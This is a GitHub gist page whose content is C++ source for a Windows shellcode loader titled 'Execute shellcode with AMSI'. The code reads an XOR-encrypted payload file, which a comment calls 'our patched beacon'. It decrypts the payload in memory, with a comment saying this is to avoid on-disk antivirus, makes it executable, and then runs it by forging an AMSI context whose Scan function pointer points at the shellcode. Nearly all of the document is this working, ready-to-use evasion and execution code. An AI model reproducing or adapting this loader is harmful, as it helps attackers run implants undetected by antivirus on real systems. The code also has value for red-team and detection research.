Skip to content

Instantly share code, notes, and snippets.

@rxwx
Created November 29, 2023 16:01
Show Gist options
  • Save rxwx/34528234356ef2365c2fafd7c4beb5e2 to your computer and use it in GitHub Desktop.
Save rxwx/34528234356ef2365c2fafd7c4beb5e2 to your computer and use it in GitHub Desktop.
Execute shellcode with AMSI
#include <Windows.h>
#include <iostream>
#include <fstream>
#include <amsi.h>
#define NtCurrentProcess() ( (HANDLE)(LONG_PTR) -1 )
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
// https://modexp.wordpress.com/2019/06/03/disable-amsi-wldp-dotnet/
typedef struct tagHAMSICONTEXT {
DWORD Signature; // "AMSI" or 0x49534D41
PWCHAR AppName; // set by AmsiInitialize
IAntimalware* Antimalware; // set by AmsiInitialize
DWORD SessionCount; // increased by AmsiOpenSession
} _HAMSICONTEXT, * _PHAMSICONTEXT;
typedef struct IAntimalwareVtbl {
PVOID QueryInterface;
PVOID AddRef;
PVOID Release;
PVOID Scan;
PVOID CloseSession;
} FAKE_ANTIMALWARE_VTABLE, * PFAKE_ANTIMALWARE_VTABLE;
typedef struct IAntiMalwareInterface {
PFAKE_ANTIMALWARE_VTABLE vtable;
} FAKE_ANTIMALWARE_INTERFACE, * PFAKE_ANTIMALWARE_INTERFACE;
typedef HRESULT(WINAPI* _AmsiScanBuffer)(_HAMSICONTEXT amsiContext, PVOID buffer,
ULONG length, LPCWSTR contentName, HAMSISESSION amsiSession, AMSI_RESULT* result);
typedef NTSTATUS(WINAPI* _NtAllocateVirtualMemory)(HANDLE ProcessHandle, PVOID* BaseAddress,
ULONG_PTR ZeroBits, PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect);
typedef NTSTATUS (WINAPI* _NtProtectVirtualMemory)(HANDLE ProcessHandle, PVOID* BaseAddress,
PULONG NumberOfBytesToProtect, ULONG NewAccessProtection, PULONG OldAccessProtection);
const char* XOR_KEY = "d7fdb0dc3a87";
void Decrypt(char* mem, int size)
{
for (int i = 0; i < size; i++)
{
mem[i] ^= XOR_KEY[i % strlen(XOR_KEY)];
}
}
int main(int argc, char* argv[])
{
if (argc != 2)
{
printf(" Usage: %s <FILE>\n", argv[0]);
return 1;
}
printf("Running in PID: %lu\n", GetCurrentProcessId());
HMODULE ntdll = GetModuleHandleA("ntdll");
if (ntdll == NULL)
return 1;
HMODULE amsi = LoadLibraryExW(L"amsi.dll", 0, 0x800);
if (amsi == NULL)
return 1;
_NtAllocateVirtualMemory NtAllocateVirtualMemory = (_NtAllocateVirtualMemory)GetProcAddress(ntdll, "NtAllocateVirtualMemory");
_NtProtectVirtualMemory NtProtectVirtualMemory = (_NtProtectVirtualMemory)GetProcAddress(ntdll, "NtProtectVirtualMemory");
_AmsiScanBuffer AmsiScanBuffer = (_AmsiScanBuffer)GetProcAddress(amsi, "AmsiScanBuffer");
if (NtAllocateVirtualMemory == NULL || NtProtectVirtualMemory == NULL ||
AmsiScanBuffer == NULL)
{
fprintf(stderr, "Unable to resolve functions");
return 1;
}
// Read some shellcode (e.g. our patched beacon)
std::ifstream file(argv[1], std::ios::binary | std::ios::ate);
std::streamsize size = file.tellg();
// Allocate some memory
SIZE_T PageSize = size;
PVOID threadStart = 0;
NtAllocateVirtualMemory(NtCurrentProcess(), &threadStart, 0, &PageSize, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
printf("Allocated: %p\n", threadStart);
file.seekg(0, std::ios::beg);
file.read((char*)threadStart, size);
file.close();
// Just some bullshit to avoid on-disk AV
Decrypt((char*)threadStart, size);
DWORD oldProtect;
if (!NT_SUCCESS(NtProtectVirtualMemory(NtCurrentProcess(), &threadStart, (PULONG)&PageSize, PAGE_EXECUTE_READ, &oldProtect)))
{
printf("VirtualProtect failed: %d", GetLastError());
return 1;
}
FAKE_ANTIMALWARE_VTABLE vtbl{};
vtbl.Scan = threadStart;
FAKE_ANTIMALWARE_INTERFACE antiAntimalware{};
antiAntimalware.vtable = &vtbl;
_HAMSICONTEXT fakeContext{};
fakeContext.AppName = (PWCHAR)L"WOOT";
fakeContext.SessionCount = 1;
fakeContext.Antimalware = (IAntimalware*)&antiAntimalware;
AMSI_RESULT result;
AmsiScanBuffer(fakeContext, (PVOID)&result, 10, L"hello.exe", NULL, &result);
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment